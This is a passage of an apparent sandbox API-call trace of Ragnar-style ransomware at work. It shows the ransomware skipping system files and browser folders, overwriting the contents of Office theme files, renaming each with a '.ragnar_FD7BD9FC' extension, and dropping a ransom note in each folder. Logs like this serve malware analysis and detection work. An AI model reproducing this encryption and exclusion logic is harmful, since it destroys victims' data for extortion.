lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.143] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0071.143] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned=".GIF" [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0071.143] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0071.143] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0071.143] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0071.144] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0071.144] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0071.144] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0071.144] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0071.144] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0071.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0071.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.144] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1560) returned 1 [0071.144] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x60f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.144] GetProcessHeap () returned 0x580000 [0071.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.144] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.146] VirtualAlloc (lpAddress=0x0, dwSize=0x618, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.146] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.146] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.146] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x618, lpOverlapped=0x0) returned 1 [0071.146] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.146] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x618, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.146] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x618, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x618, lpOverlapped=0x0) returned 1 [0071.146] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x618, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.146] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.146] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x618, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.147] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.147] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.147] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.147] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.147] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.147] GetProcessHeap () returned 0x580000 [0071.147] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.147] CloseHandle (hObject=0x100) returned 1 [0071.148] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" [0071.148] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.ragnar_FD7BD9FC" [0071.148] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.148] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9d7820, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c9d7820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.148] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.148] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0071.148] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\RGNR_FD7BD9FC.txt") returned=".txt" [0071.148] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0071.148] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.148] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.148] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0071.148] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned=".PNG" [0071.148] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0071.148] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0071.149] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0071.149] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0071.149] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0071.149] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0071.149] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0071.149] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0071.149] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0071.149] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0071.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0071.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.149] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=33009) returned 1 [0071.149] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x80e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.150] GetProcessHeap () returned 0x580000 [0071.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.150] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.151] VirtualAlloc (lpAddress=0x0, dwSize=0x80f1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.151] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.151] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.151] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x80f1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x80f1, lpOverlapped=0x0) returned 1 [0071.153] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.153] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x80f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.153] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x80f1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x80f1, lpOverlapped=0x0) returned 1 [0071.153] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x80f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.153] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.154] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x80f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.154] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.154] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.154] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.154] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.154] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.154] GetProcessHeap () returned 0x580000 [0071.154] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.154] CloseHandle (hObject=0x100) returned 1 [0071.156] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" [0071.156] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0071.156] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.157] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.157] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.157] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2=".") returned 1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="..") returned 1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Windows") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Windows.old") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Tor browser") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Internet Explorer") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Google") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Opera") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Opera Software") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Mozilla") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Mozilla Firefox") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="$Recycle.Bin") returned 1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="ProgramData") returned -1 [0071.157] lstrcmpiW (lpString1="BLUEPRNT", lpString2="All Users") returned 1 [0071.157] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0071.157] lstrcpyW (in: lpString1=0x1eb638, lpString2="BLUEPRNT" | out: lpString1="BLUEPRNT") returned="BLUEPRNT" [0071.157] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\" [0071.157] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\" [0071.157] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\RGNR_FD7BD9FC.txt" [0071.157] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.160] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*" [0071.160] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.160] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.160] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ca6fda0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ca6fda0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.161] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ca6fda0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ca6fda0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.161] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.161] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0071.161] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2=".") returned 1 [0071.161] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="..") returned 1 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0071.161] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2=".") returned 1 [0071.161] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="..") returned 1 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, 